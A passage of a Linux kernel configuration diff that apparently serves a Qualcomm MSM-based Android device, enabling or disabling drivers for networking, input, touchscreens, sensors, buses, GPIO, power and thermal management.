CONFIG_MDIO_BITBANG is not set +# CONFIG_MDIO_BUS_MUX_GPIO is not set +# CONFIG_MDIO_BUS_MUX_MMIOREG is not set +# CONFIG_MICREL_KS8995MA is not set +CONFIG_PPP=y +CONFIG_PPP_BSDCOMP=y +CONFIG_PPP_DEFLATE=y +CONFIG_PPP_FILTER=y +CONFIG_PPP_MPPE=y +CONFIG_PPP_MULTILINK=y +CONFIG_PPPOE=y +CONFIG_PPPOL2TP=y +CONFIG_PPPOLAC=y +CONFIG_PPPOPNS=y +CONFIG_PPP_ASYNC=y +CONFIG_PPP_SYNC_TTY=y +# CONFIG_SLIP is not set +CONFIG_SLHC=y + +# +# USB Network Adapters +# +# CONFIG_USB_CATC is not set +# CONFIG_USB_KAWETH is not set +# CONFIG_USB_PEGASUS is not set +# CONFIG_USB_RTL8150 is not set +# CONFIG_USB_RTL8152 is not set +CONFIG_USB_USBNET=y +CONFIG_USB_NET_AX8817X=y +CONFIG_USB_NET_AX88179_178A=y +CONFIG_USB_NET_CDCETHER=y +# CONFIG_USB_NET_CDC_EEM is not set +CONFIG_USB_NET_CDC_NCM=y +# CONFIG_USB_NET_CDC_MBIM is not set +CONFIG_USB_NET_DM9601=y +# CONFIG_USB_NET_SMSC75XX is not set +# CONFIG_USB_NET_SMSC95XX is not set +# CONFIG_USB_NET_GL620A is not set +CONFIG_USB_NET_NET1080=y +# CONFIG_USB_NET_PLUSB is not set +# CONFIG_USB_NET_MCS7830 is not set +# CONFIG_USB_NET_RNDIS_HOST is not set +CONFIG_USB_NET_CDC_SUBSET=y +# CONFIG_USB_ALI_M5632 is not set +# CONFIG_USB_AN2720 is not set +CONFIG_USB_BELKIN=y +CONFIG_USB_ARMLINUX=y +# CONFIG_USB_EPSON2888 is not set +# CONFIG_USB_KC2190 is not set +CONFIG_USB_NET_ZAURUS=y +# CONFIG_USB_NET_CX82310_ETH is not set +# CONFIG_USB_NET_KALMIA is not set +# CONFIG_USB_NET_QMI_WWAN is not set +# CONFIG_USB_NET_INT51X1 is not set +# CONFIG_USB_IPHETH is not set +# CONFIG_USB_SIERRA_NET is not set +# CONFIG_USB_VL600 is not set +# CONFIG_MSM_RMNET_USB is not set +CONFIG_WLAN=y +# CONFIG_USB_ZD1201 is not set +# CONFIG_USB_NET_RNDIS_WLAN is not set +# CONFIG_LIBRA_SDIOIF is not set +# CONFIG_ATH6K_LEGACY_EXT is not set +CONFIG_WCNSS_CORE=y +CONFIG_WCNSS_CORE_PRONTO=y +CONFIG_WCNSS_MEM_PRE_ALLOC=y +CONFIG_WCNSS_REGISTER_DUMP_ON_BITE=y +# CONFIG_ATH_CARDS is not set +# CONFIG_BRCMFMAC is not set +# CONFIG_HOSTAP is not set +# CONFIG_LIBERTAS is not set +# CONFIG_WL_TI is not set +# CONFIG_MWIFIEX is not set + +# +# Enable WiMAX (Networking options) to see the WiMAX drivers +# +# CONFIG_WAN is not set +# CONFIG_DANIPC is not set +# CONFIG_ISDN is not set + +# +# Input device support +# +CONFIG_INPUT=y +CONFIG_INPUT_FF_MEMLESS=y +CONFIG_INPUT_POLLDEV=y +# CONFIG_INPUT_SPARSEKMAP is not set +# CONFIG_INPUT_MATRIXKMAP is not set + +# +# Userland interfaces +# +CONFIG_INPUT_MOUSEDEV=y +CONFIG_INPUT_MOUSEDEV_PSAUX=y +CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 +CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 +# CONFIG_INPUT_JOYDEV is not set +CONFIG_INPUT_EVDEV=y +# CONFIG_INPUT_EVBUG is not set +CONFIG_INPUT_KEYRESET=y +CONFIG_INPUT_KEYCOMBO=y +# CONFIG_SENSORS_HALL is not set + +# +# Input Device Drivers +# +CONFIG_INPUT_KEYBOARD=y +# CONFIG_KEYBOARD_ADP5588 is not set +# CONFIG_KEYBOARD_ADP5589 is not set +CONFIG_KEYBOARD_ATKBD=y +# CONFIG_KEYBOARD_QT1070 is not set +# CONFIG_KEYBOARD_QT2160 is not set +# CONFIG_KEYBOARD_LKKBD is not set +CONFIG_KEYBOARD_GPIO=y +# CONFIG_KEYBOARD_TCA6416 is not set +# CONFIG_KEYBOARD_TCA8418 is not set +# CONFIG_KEYBOARD_MATRIX is not set +# CONFIG_KEYBOARD_LM8323 is not set +# CONFIG_KEYBOARD_LM8333 is not set +# CONFIG_KEYBOARD_MAX7359 is not set +# CONFIG_KEYBOARD_MCS is not set +# CONFIG_KEYBOARD_MPR121 is not set +# CONFIG_KEYBOARD_NEWTON is not set +# CONFIG_KEYBOARD_OPENCORES is not set +# CONFIG_KEYBOARD_QPNP is not set +# CONFIG_KEYBOARD_SAMSUNG is not set +# CONFIG_KEYBOARD_STOWAWAY is not set +# CONFIG_KEYBOARD_SUNKBD is not set +# CONFIG_KEYBOARD_XTKBD is not set +# CONFIG_INPUT_MOUSE is not set +CONFIG_INPUT_JOYSTICK=y +# CONFIG_JOYSTICK_ANALOG is not set +# CONFIG_JOYSTICK_A3D is not set +# CONFIG_JOYSTICK_ADI is not set +# CONFIG_JOYSTICK_COBRA is not set +# CONFIG_JOYSTICK_GF2K is not set +# CONFIG_JOYSTICK_GRIP is not set +# CONFIG_JOYSTICK_GRIP_MP is not set +# CONFIG_JOYSTICK_GUILLEMOT is not set +# CONFIG_JOYSTICK_INTERACT is not set +# CONFIG_JOYSTICK_SIDEWINDER is not set +# CONFIG_JOYSTICK_TMDC is not set +# CONFIG_JOYSTICK_IFORCE is not set +# CONFIG_JOYSTICK_WARRIOR is not set +# CONFIG_JOYSTICK_MAGELLAN is not set +# CONFIG_JOYSTICK_SPACEORB is not set +# CONFIG_JOYSTICK_SPACEBALL is not set +# CONFIG_JOYSTICK_STINGER is not set +# CONFIG_JOYSTICK_TWIDJOY is not set +# CONFIG_JOYSTICK_ZHENHUA is not set +# CONFIG_JOYSTICK_AS5011 is not set +# CONFIG_JOYSTICK_JOYDUMP is not set +CONFIG_JOYSTICK_XPAD=y +CONFIG_JOYSTICK_XPAD_FF=y +CONFIG_JOYSTICK_XPAD_LEDS=y +CONFIG_INPUT_TABLET=y +CONFIG_TABLET_USB_ACECAD=y +CONFIG_TABLET_USB_AIPTEK=y +CONFIG_TABLET_USB_GTCO=y +CONFIG_TABLET_USB_HANWANG=y +CONFIG_TABLET_USB_KBTAB=y +CONFIG_TABLET_USB_WACOM=y +CONFIG_INPUT_TOUCHSCREEN=y +CONFIG_TOUCHSCREEN_SYNAPTICS_DSX_v21=y +CONFIG_TOUCHSCREEN_SYNAPTICS_DSX_I2C_v21=y +# CONFIG_TOUCHSCREEN_SYNAPTICS_DSX_SPI_v21 is not set +# CONFIG_TOUCHSCREEN_SYNAPTICS_DSX_CORE_v21 is not set +# CONFIG_TOUCHSCREEN_ADS7846 is not set +# CONFIG_TOUCHSCREEN_AD7877 is not set +# CONFIG_TOUCHSCREEN_AD7879 is not set +CONFIG_TOUCHSCREEN_ATMEL_MXT=y +# CONFIG_TOUCHSCREEN_ATMEL_MAXTOUCH_TS is not set +# CONFIG_TOUCHSCREEN_AUO_PIXCIR is not set +# CONFIG_TOUCHSCREEN_BU21013 is not set +# CONFIG_TOUCHSCREEN_CY8CTMG110 is not set +# CONFIG_TOUCHSCREEN_CYPRESS_CYTTSP4 is not set +# CONFIG_TOUCHSCREEN_CYTTSP_CORE is not set +# CONFIG_TOUCHSCREEN_DYNAPRO is not set +# CONFIG_TOUCHSCREEN_HAMPSHIRE is not set +# CONFIG_TOUCHSCREEN_EETI is not set +# CONFIG_TOUCHSCREEN_EGALAX is not set +# CONFIG_TOUCHSCREEN_FUJITSU is not set +# CONFIG_TOUCHSCREEN_GSL1688E is not set +# CONFIG_TOUCHSCREEN_GSL1688E_ARM64 is not set +# CONFIG_TOUCHSCREEN_ILI210X is not set +# CONFIG_TOUCHSCREEN_GUNZE is not set +# CONFIG_TOUCHSCREEN_ELO is not set +# CONFIG_TOUCHSCREEN_WACOM_W8001 is not set +# CONFIG_TOUCHSCREEN_WACOM_I2C is not set +# CONFIG_TOUCHSCREEN_MAX11801 is not set +# CONFIG_TOUCHSCREEN_MCS5000 is not set +# CONFIG_TOUCHSCREEN_MMS114 is not set +# CONFIG_TOUCHSCREEN_MTOUCH is not set +# CONFIG_TOUCHSCREEN_INEXIO is not set +# CONFIG_TOUCHSCREEN_MK712 is not set +# CONFIG_TOUCHSCREEN_PENMOUNT is not set +# CONFIG_TOUCHSCREEN_EDT_FT5X06 is not set +# CONFIG_TOUCHSCREEN_SYNAPTICS_RMI4_I2C is not set +# CONFIG_TOUCHSCREEN_TOUCHRIGHT is not set +# CONFIG_TOUCHSCREEN_TOUCHWIN is not set +# CONFIG_TOUCHSCREEN_PIXCIR is not set +# CONFIG_TOUCHSCREEN_USB_COMPOSITE is not set +# CONFIG_TOUCHSCREEN_TOUCHIT213 is not set +# CONFIG_TOUCHSCREEN_TSC_SERIO is not set +# CONFIG_TOUCHSCREEN_TSC2005 is not set +# CONFIG_TOUCHSCREEN_TSC2007 is not set +# CONFIG_TOUCHSCREEN_W90X900 is not set +# CONFIG_TOUCHSCREEN_ST1232 is not set +# CONFIG_TOUCHSCREEN_TPS6507X is not set +CONFIG_TOUCHSCREEN_FT5X06=y +# CONFIG_TOUCHSCREEN_FT5X06_PSENSOR is not set +# CONFIG_TOUCHSCREEN_FT5X06_GESTURE is not set +# CONFIG_TOUCHSCREEN_HIMAX852XES is not set +# CONFIG_TOUCHSCREEN_MSTAR21XX is not set +CONFIG_TOUCHSCREEN_GEN_VKEYS=y +# CONFIG_TOUCHSCREEN_SYNAPTICS_I2C_RMI4 is not set +# CONFIG_SECURE_TOUCH is not set +# CONFIG_TOUCHSCREEN_GT9XX is not set +# CONFIG_TOUCHSCREEN_GT9XX_HQ is not set +# CONFIG_TOUCHSCREEN_GT9XX_YL is not set +# CONFIG_TOUCHSCREEN_BU21150 is not set +# CONFIG_TOUCHSCREEN_MSG2XXX is not set +# CONFIG_TOUCHSCREEN_PROXIMITY_SENSOR is not set +# CONFIG_INPUT_MT_WRAPPER is not set +# CONFIG_TOUCHSCREEN_IT7260_I2C is not set +# CONFIG_TOUCHSCREEN_HIMAX_HX852xES is not set +CONFIG_INPUT_MISC=y +# CONFIG_INPUT_AD714X is not set +# CONFIG_INPUT_BMA150 is not set +# CONFIG_INPUT_HBTP_INPUT is not set +# CONFIG_INPUT_MMA8450 is not set +# CONFIG_INPUT_MPU3050 is not set +CONFIG_SENSORS_MPU6050=y +# CONFIG_SENSORS_LIS3DH is not set +# CONFIG_INPUT_GP2A is not set +# CONFIG_INPUT_GPIO_TILT_POLLED is not set +# CONFIG_INPUT_ATI_REMOTE2 is not set +CONFIG_INPUT_KEYCHORD=y +# CONFIG_INPUT_KEYSPAN_REMOTE is not set +# CONFIG_INPUT_KXTJ9 is not set +# CONFIG_INPUT_KXTJ9_HQ is not set +# CONFIG_INPUT_POWERMATE is not set +# CONFIG_INPUT_YEALINK is not set +# CONFIG_INPUT_CM109 is not set +CONFIG_INPUT_UINPUT=y +CONFIG_INPUT_GPIO=y +# CONFIG_INPUT_ISA1200_FF_MEMLESS is not set +# CONFIG_INPUT_PCF8574 is not set +# CONFIG_INPUT_PWM_BEEPER is not set +# CONFIG_INPUT_GPIO_ROTARY_ENCODER is not set +# CONFIG_INPUT_ADXL34X is not set +# CONFIG_INPUT_IMS_PCU is not set +# CONFIG_INPUT_CMA3000 is not set +# CONFIG_BMP18X is not set +# CONFIG_SENSORS_MMA8X5X is not set +# CONFIG_SENSORS_AP3426 is not set +# CONFIG_SENSORS_AP3426_CM is not set +# CONFIG_SENSORS_LTR553 is not set +CONFIG_SENSORS_LTR559=y +CONFIG_SENSORS_MMC3416X=y +# CONFIG_SENSORS_MMC3416X_ALLOW_OVERFLOW is not set +# CONFIG_SENSORS_MMC3X30 is not set +CONFIG_SENSORS_AKM09911=y +CONFIG_SENSORS_AKM8963=y +CONFIG_SENSORS_YAS537=y +# CONFIG_SENSORS_STK3X1X is not set +# CONFIG_SENSORS_CAPELLA_CM36283 is not set +# CONFIG_INPUT_KIONIX_ACCEL is not set +# CONFIG_SENSORS_BMA2X2 is not set +# CONFIG_SENSORS_BMM050 is not set +# CONFIG_SENSORS_BMG is not set +# CONFIG_SENSORS_BMI160 is not set +# CONFIG_INPUT_LSM6DX0 is not set +# CONFIG_SENSORS_ST480 is not set +# CONFIG_SENSORS_MPU6880 is not set +# CONFIG_SENSORS_PA12200001 is not set +# CONFIG_SENSORS_YL_HALL is not set +# CONFIG_SENSORS_YL_PARAMS is not set + +# +# Hardware I/O ports +# +CONFIG_SERIO=y +CONFIG_SERIO_SERPORT=y +CONFIG_SERIO_LIBPS2=y +# CONFIG_SERIO_RAW is not set +# CONFIG_SERIO_ALTERA_PS2 is not set +# CONFIG_SERIO_PS2MULT is not set +# CONFIG_SERIO_ARC_PS2 is not set +# CONFIG_SERIO_APBPS2 is not set +# CONFIG_GAMEPORT is not set + +# +# Character devices +# +CONFIG_TTY=y +# CONFIG_VT is not set +CONFIG_UNIX98_PTYS=y +# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set +# CONFIG_LEGACY_PTYS is not set +# CONFIG_SERIAL_NONSTANDARD is not set +# CONFIG_N_GSM is not set +# CONFIG_TRACE_SINK is not set +# CONFIG_DEVMEM is not set +# CONFIG_DEVKMEM is not set + +# +# Serial drivers +# +# CONFIG_SERIAL_8250 is not set + +# +# Non-8250 serial port support +# +# CONFIG_SERIAL_MAX3100 is not set +# CONFIG_SERIAL_MAX310X is not set +# CONFIG_SERIAL_MSM is not set +# CONFIG_SERIAL_MSM_HS is not set +# CONFIG_SERIAL_MSM_HSL is not set +# CONFIG_SERIAL_BCM_BT_LPM is not set +# CONFIG_SERIAL_SCCNXP is not set +# CONFIG_SERIAL_TIMBERDALE is not set +# CONFIG_SERIAL_ALTERA_JTAGUART is not set +# CONFIG_SERIAL_ALTERA_UART is not set +# CONFIG_SERIAL_IFX6X60 is not set +CONFIG_SERIAL_MSM_SMD=y +# CONFIG_SERIAL_XILINX_PS_UART is not set +# CONFIG_SERIAL_ARC is not set + +# +# Diag Support +# +CONFIG_DIAG_CHAR=y + +# +# DIAG traffic over USB +# +CONFIG_DIAG_OVER_USB=y + +# +# HSIC/SMUX support for DIAG +# +# CONFIG_TTY_PRINTK is not set +# CONFIG_HVC_DCC is not set +# CONFIG_IPMI_HANDLER is not set +CONFIG_HW_RANDOM=y +# CONFIG_HW_RANDOM_TIMERIOMEM is not set +# CONFIG_HW_RANDOM_ATMEL is not set +# CONFIG_HW_RANDOM_EXYNOS is not set +CONFIG_HW_RANDOM_MSM=y +# CONFIG_R3964 is not set +# CONFIG_RAW_DRIVER is not set +# CONFIG_TCG_TPM is not set +CONFIG_MSM_SMD_PKT=y +# CONFIG_MSM_ADSPRPC is not set +# CONFIG_MSM_RDBG is not set +CONFIG_I2C=y +CONFIG_I2C_BOARDINFO=y +CONFIG_I2C_COMPAT=y +CONFIG_I2C_CHARDEV=y +# CONFIG_I2C_MUX is not set +CONFIG_I2C_HELPER_AUTO=y + +# +# I2C Hardware Bus support +# + +# +# I2C system bus drivers (mostly embedded / system-on-chip) +# +# CONFIG_I2C_CBUS_GPIO is not set +# CONFIG_I2C_DESIGNWARE_PLATFORM is not set +# CONFIG_I2C_GPIO is not set +# CONFIG_I2C_QUP is not set +CONFIG_I2C_MSM_V2=y +# CONFIG_I2C_OCORES is not set +# CONFIG_I2C_PCA_PLATFORM is not set +# CONFIG_I2C_PXA_PCI is not set +# CONFIG_I2C_SIMTEC is not set +# CONFIG_I2C_XILINX is not set + +# +# External I2C/SMBus adapter drivers +# +# CONFIG_I2C_DIOLAN_U2C is not set +# CONFIG_I2C_PARPORT_LIGHT is not set +# CONFIG_I2C_TAOS_EVM is not set +# CONFIG_I2C_TINY_USB is not set + +# +# Other I2C/SMBus bus drivers +# +# CONFIG_I2C_DEBUG_CORE is not set +# CONFIG_I2C_DEBUG_ALGO is not set +# CONFIG_I2C_DEBUG_BUS is not set +CONFIG_SLIMBUS=y +# CONFIG_SLIMBUS_MSM_CTRL is not set +CONFIG_SLIMBUS_MSM_NGD=y +CONFIG_SOUNDWIRE=y +CONFIG_SOUNDWIRE_WCD_CTRL=y +CONFIG_SPI=y +# CONFIG_SPI_DEBUG is not set +CONFIG_SPI_MASTER=y + +# +# SPI Master Controller Drivers +# +# CONFIG_SPI_ALTERA is not set +# CONFIG_SPI_BITBANG is not set +# CONFIG_SPI_GPIO is not set +# CONFIG_SPI_FSL_SPI is not set +# CONFIG_SPI_OC_TINY is not set +# CONFIG_SPI_PXA2XX_PCI is not set +# CONFIG_SPI_SC18IS602 is not set +# CONFIG_SPI_XCOMM is not set +# CONFIG_SPI_XILINX is not set +CONFIG_SPI_QUP=y +# CONFIG_SPI_DESIGNWARE is not set + +# +# SPI Protocol Masters +# +CONFIG_SPI_SPIDEV=y +# CONFIG_SPI_TLE62X0 is not set +CONFIG_SPMI=y +CONFIG_SPMI_MSM_PMIC_ARB=y +CONFIG_MSM_QPNP_INT=y + +# +# Qualcomm MSM SSBI bus support +# +# CONFIG_SSBI is not set +# CONFIG_HSI is not set + +# +# PPS support +# +# CONFIG_PPS is not set + +# +# PPS generators support +# + +# +# PTP clock support +# +# CONFIG_PTP_1588_CLOCK is not set + +# +# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. +# +# CONFIG_PTP_1588_CLOCK_PCH is not set +CONFIG_PINCTRL=y + +# +# Pin controllers +# +CONFIG_PINMUX=y +CONFIG_PINCONF=y +CONFIG_GENERIC_PINCONF=y +# CONFIG_DEBUG_PINCTRL is not set +# CONFIG_PINCTRL_SINGLE is not set +CONFIG_USE_PINCTRL_IRQ=y +CONFIG_PINCTRL_MSM_TLMM=y +# CONFIG_PINCTRL_EXYNOS is not set +# CONFIG_PINCTRL_EXYNOS5440 is not set +CONFIG_ARCH_HAVE_CUSTOM_GPIO_H=y +CONFIG_ARCH_REQUIRE_GPIOLIB=y +CONFIG_GPIO_DEVRES=y +CONFIG_GPIOLIB=y +CONFIG_OF_GPIO=y +CONFIG_DEBUG_GPIO=y +CONFIG_GPIO_SYSFS=y + +# +# Memory mapped GPIO drivers: +# +# CONFIG_GPIO_GENERIC_PLATFORM is not set +# CONFIG_GPIO_EM is not set +# CONFIG_GPIO_MSM_V3 is not set +# CONFIG_GPIO_RCAR is not set +# CONFIG_GPIO_TS5500 is not set +# CONFIG_GPIO_GRGPIO is not set + +# +# I2C GPIO expanders: +# +# CONFIG_GPIO_MAX7300 is not set +# CONFIG_GPIO_MAX732X is not set +# CONFIG_GPIO_PCF857X is not set +# CONFIG_GPIO_SX150X is not set +# CONFIG_GPIO_ADP5588 is not set +# CONFIG_GPIO_ADNP is not set + +# +# PCI GPIO expanders: +# + +# +# SPI GPIO expanders: +# +# CONFIG_GPIO_MAX7301 is not set +# CONFIG_GPIO_MCP23S08 is not set +# CONFIG_GPIO_MC33880 is not set +# CONFIG_GPIO_74X164 is not set + +# +# AC97 GPIO expanders: +# + +# +# MODULbus GPIO expanders: +# +CONFIG_GPIO_QPNP_PIN=y +# CONFIG_GPIO_QPNP_PIN_DEBUG is not set + +# +# USB GPIO expanders: +# +# CONFIG_W1 is not set +CONFIG_POWER_SUPPLY=y +# CONFIG_POWER_SUPPLY_DEBUG is not set +# CONFIG_PDA_POWER is not set +# CONFIG_TEST_POWER is not set +# CONFIG_BATTERY_DS2780 is not set +# CONFIG_BATTERY_DS2781 is not set +# CONFIG_BATTERY_DS2782 is not set +# CONFIG_BATTERY_SBS is not set +# CONFIG_BATTERY_BQ27x00 is not set +# CONFIG_BATTERY_MAX17040 is not set +# CONFIG_BATTERY_MAX17042 is not set +# CONFIG_CHARGER_ISP1704 is not set +# CONFIG_CHARGER_MAX8903 is not set +# CONFIG_CHARGER_LP8727 is not set +# CONFIG_CHARGER_GPIO is not set +# CONFIG_CHARGER_MANAGER is not set +# CONFIG_CHARGER_BQ2415X is not set +# CONFIG_SMB137C_CHARGER is not set +# CONFIG_SMB349_USB_CHARGER is not set +# CONFIG_SMB350_CHARGER is not set +# CONFIG_SMB1351_USB_CHARGER is not set +# CONFIG_SMB135X_CHARGER is not set +CONFIG_BQ2022A_SUPPORT=y +CONFIG_SMB1360_CHARGER_FG=y +# CONFIG_SMB358_CHARGER is not set +# CONFIG_BATTERY_BQ28400 is not set +# CONFIG_QPNP_CHARGER is not set +# CONFIG_QPNP_SMBCHARGER is not set +# CONFIG_QPNP_FG is not set +CONFIG_BATTERY_BCL=y +# CONFIG_CHARGER_SMB347 is not set +# CONFIG_BATTERY_GOLDFISH is not set +# CONFIG_QPNP_VM_BMS is not set +# CONFIG_QPNP_VM_BMS_HQ is not set +# CONFIG_QPNP_BMS is not set +# CONFIG_QPNP_LINEAR_CHARGER is not set +# CONFIG_QPNP_LINEAR_CHARGER_HQ is not set +# CONFIG_MSM_BCL_CTL is not set +# CONFIG_YL_PM8916_VBUS is not set +# CONFIG_YL_BQ24157_CHARGER is not set +# CONFIG_YL_FAN5405_CHARGER is not set +# CONFIG_YL_LC709203_FUELGAUGE is not set +# CONFIG_YL_CHARGE_MODE is not set +CONFIG_POWER_RESET=y +# CONFIG_POWER_RESET_GPIO is not set +CONFIG_POWER_RESET_MSM=y +# CONFIG_MSM_DLOAD_MODE is not set +CONFIG_MSM_PRESERVE_MEM=y +# CONFIG_POWER_RESET_RESTART is not set +# CONFIG_POWER_AVS is not set +# CONFIG_POWER_AVS_MSM is not set +CONFIG_MSM_PM=y +CONFIG_MSM_IDLE_STATS=y +CONFIG_MSM_IDLE_STATS_FIRST_BUCKET=62500 +CONFIG_MSM_IDLE_STATS_BUCKET_SHIFT=2 +CONFIG_MSM_IDLE_STATS_BUCKET_COUNT=10 +CONFIG_MSM_SUSPEND_STATS_FIRST_BUCKET=1000000000 +CONFIG_HWMON=y +# CONFIG_HWMON_VID is not set +# CONFIG_HWMON_DEBUG_CHIP is not set + +# +# Native drivers +# +# CONFIG_SENSORS_AD7314 is not set +# CONFIG_SENSORS_AD7414 is not set +# CONFIG_SENSORS_AD7418 is not set +# CONFIG_SENSORS_ADCXX is not set +# CONFIG_SENSORS_ADM1021 is not set +# CONFIG_SENSORS_ADM1025 is not set +# CONFIG_SENSORS_ADM1026 is not set +# CONFIG_SENSORS_ADM1029 is not set +# CONFIG_SENSORS_ADM1031 is not set +# CONFIG_SENSORS_ADM9240 is not set +# CONFIG_SENSORS_ADT7310 is not set +# CONFIG_SENSORS_ADT7410 is not set +# CONFIG_SENSORS_ADT7411 is not set +# CONFIG_SENSORS_ADT7462 is not set +# CONFIG_SENSORS_ADT7470 is not set +# CONFIG_SENSORS_ADT7475 is not set +# CONFIG_SENSORS_ASC7621 is not set +# CONFIG_SENSORS_ATXP1 is not set +# CONFIG_SENSORS_BOOST_DYNAMIC_CONTROLLER is not set +# CONFIG_SENSORS_DS620 is not set +# CONFIG_SENSORS_DS1621 is not set +# CONFIG_SENSORS_F71805F is not set +# CONFIG_SENSORS_F71882FG is not set +# CONFIG_SENSORS_F75375S is not set +# CONFIG_SENSORS_G760A is not set +# CONFIG_SENSORS_GL518SM is not set +# CONFIG_SENSORS_GL520SM is not set +# CONFIG_SENSORS_GPIO_FAN is not set +# CONFIG_SENSORS_HIH6130 is not set +# CONFIG_SENSORS_IT87 is not set +# CONFIG_SENSORS_JC42 is not set +# CONFIG_SENSORS_LINEAGE is not set +# CONFIG_SENSORS_LM63 is not set +# CONFIG_SENSORS_LM70 is not set +# CONFIG_SENSORS_LM73 is not set +# CONFIG_SENSORS_LM75 is not set +# CONFIG_SENSORS_LM77 is not set +# CONFIG_SENSORS_LM78 is not set +# CONFIG_SENSORS_LM80 is not set +# CONFIG_SENSORS_LM83 is not set +# CONFIG_SENSORS_LM85 is not set +# CONFIG_SENSORS_LM87 is not set +# CONFIG_SENSORS_LM90 is not set +# CONFIG_SENSORS_LM92 is not set +# CONFIG_SENSORS_LM93 is not set +# CONFIG_SENSORS_LTC4151 is not set +# CONFIG_SENSORS_LTC4215 is not set +# CONFIG_SENSORS_LTC4245 is not set +# CONFIG_SENSORS_LTC4261 is not set +# CONFIG_SENSORS_LM95234 is not set +# CONFIG_SENSORS_LM95241 is not set +# CONFIG_SENSORS_LM95245 is not set +# CONFIG_SENSORS_MAX1111 is not set +# CONFIG_SENSORS_MAX16065 is not set +# CONFIG_SENSORS_MAX1619 is not set +# CONFIG_SENSORS_MAX1668 is not set +# CONFIG_SENSORS_MAX197 is not set +# CONFIG_SENSORS_MAX6639 is not set +# CONFIG_SENSORS_MAX6642 is not set +# CONFIG_SENSORS_MAX6650 is not set +# CONFIG_SENSORS_MAX6697 is not set +# CONFIG_SENSORS_MCP3021 is not set +# CONFIG_SENSORS_NCT6775 is not set +# CONFIG_SENSORS_NTC_THERMISTOR is not set +# CONFIG_SENSORS_EPM_ADC is not set +CONFIG_SENSORS_QPNP_ADC_VOLTAGE=y +CONFIG_SENSORS_QPNP_ADC_CURRENT=y +CONFIG_SENSORS_QPNP_CURRENT_MONITOR=y +# CONFIG_SENSORS_PC87360 is not set +# CONFIG_SENSORS_PC87427 is not set +# CONFIG_SENSORS_PCF8591 is not set +# CONFIG_PMBUS is not set +# CONFIG_SENSORS_SHT15 is not set +# CONFIG_SENSORS_SHT21 is not set +# CONFIG_SENSORS_SMM665 is not set +# CONFIG_SENSORS_DME1737 is not set +# CONFIG_SENSORS_EMC1403 is not set +# CONFIG_SENSORS_EMC2103 is not set +# CONFIG_SENSORS_EMC6W201 is not set +# CONFIG_SENSORS_SMSC47M1 is not set +# CONFIG_SENSORS_SMSC47M192 is not set +# CONFIG_SENSORS_SMSC47B397 is not set +# CONFIG_SENSORS_SCH56XX_COMMON is not set +# CONFIG_SENSORS_ADS1015 is not set +# CONFIG_SENSORS_ADS7828 is not set +# CONFIG_SENSORS_ADS7871 is not set +# CONFIG_SENSORS_AMC6821 is not set +# CONFIG_SENSORS_INA209 is not set +# CONFIG_SENSORS_INA2XX is not set +# CONFIG_SENSORS_THMC50 is not set +# CONFIG_SENSORS_TMP102 is not set +# CONFIG_SENSORS_TMP401 is not set +# CONFIG_SENSORS_TMP421 is not set +# CONFIG_SENSORS_VT1211 is not set +# CONFIG_SENSORS_W83781D is not set +# CONFIG_SENSORS_W83791D is not set +# CONFIG_SENSORS_W83792D is not set +# CONFIG_SENSORS_W83793 is not set +# CONFIG_SENSORS_W83795 is not set +# CONFIG_SENSORS_W83L785TS is not set +# CONFIG_SENSORS_W83L786NG is not set +# CONFIG_SENSORS_W83627HF is not set +# CONFIG_SENSORS_W83627EHF is not set +CONFIG_THERMAL=y +CONFIG_THERMAL_HWMON=y +CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y +# CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set +# CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set +# CONFIG_THERMAL_GOV_FAIR_SHARE is not set +CONFIG_THERMAL_GOV_STEP_WISE=y +# CONFIG_THERMAL_GOV_USER_SPACE is not set +# CONFIG_CPU_THERMAL is not set +# CONFIG_THERMAL_EMULATION is not set +CONFIG_THERMAL_TSENS8974=y +# CONFIG_LIMITS_MONITOR is not set +CONFIG_THERMAL_MONITOR=y +CONFIG_THERMAL_QPNP=y +CONFIG_THERMAL_QPNP_ADC_TM=y +# CONFIG_WATCHDOG is not set +CONFIG_SSB_POSSIBLE=y + +# +# Sonics Silicon Backplane +# +# CONFIG_SSB is not set +CONFIG_BCMA_POSSIBLE=y + +# +# Broadcom specific AMBA +# +# CONFIG_BCMA is not set + +# +# Multifunction device drivers +# +CONFIG_MFD_CORE=y +# CONFIG_MFD_AS3711 is not set +# CONFIG_PMIC_ADP5520 is not set +# CONFIG_MFD_AAT2870_CORE is not set +# CONFIG_MFD_CROS_EC is not set +# CONFIG_MFD_ASIC3 is not set +# CONFIG_PMIC_DA903X is not set +# CONFIG_MFD_DA9052_SPI is not set +# CONFIG_MFD_DA9052_I2C is not set +# CONFIG_MFD_DA9055 is not set +# CONFIG_MFD_MC13XXX_SPI is not set +# CONFIG_MFD_MC13XXX_I2C is not set +# CONFIG_HTC_EGPIO is not set +# CONFIG_HTC_PASIC3 is not set +# CONFIG_HTC_I2CPLD is not set +# CONFIG_MFD_88PM800 is not set +# CONFIG_MFD_88PM805 is not set +# CONFIG_MFD_88PM860X is not set +# CONFIG_MFD_MAX77686 is not set +# CONFIG_MFD_MAX77693 is not set +# CONFIG_MFD_MAX8907 is not set +# CONFIG_MFD_MAX8925 is not set +# CONFIG_MFD_MAX8997 is not set +# CONFIG_MFD_MAX8998 is not set +# CONFIG_EZX_PCAP is not set +# CONFIG_MFD_VIPERBOARD is not set +# CONFIG_MFD_RETU is not set +# CONFIG_MFD_PCF50633 is not set +# CONFIG_MFD_RC5T583 is not set +# CONFIG_MFD_SEC_CORE is not set +# CONFIG_MFD_SI476X_CORE is not set +# CONFIG_MFD_SM501 is not set +# CONFIG_MFD_SMSC is not set +# CONFIG_ABX500_CORE is not set +# CONFIG_MFD_STMPE is not set +# CONFIG_MFD_SYSCON is not set +# CONFIG_MFD_TI_AM335X_TSCADC is not set +# CONFIG_MFD_LP8788 is not set +# CONFIG_MFD_PALMAS is not set +# CONFIG_TPS6105X is not set +# CONFIG_TPS65010 is not set +# CONFIG_TPS6507X is not set +# CONFIG_MFD_TPS65090 is not set +# CONFIG_MFD_TPS65217 is not set +# CONFIG_MFD_TPS6586X is not set +# CONFIG_MFD_TPS65910 is not set +# CONFIG_MFD_TPS65912 is not set +# CONFIG_MFD_TPS65912_I2C is not set +# CONFIG_MFD_TPS65912_SPI is not set +# 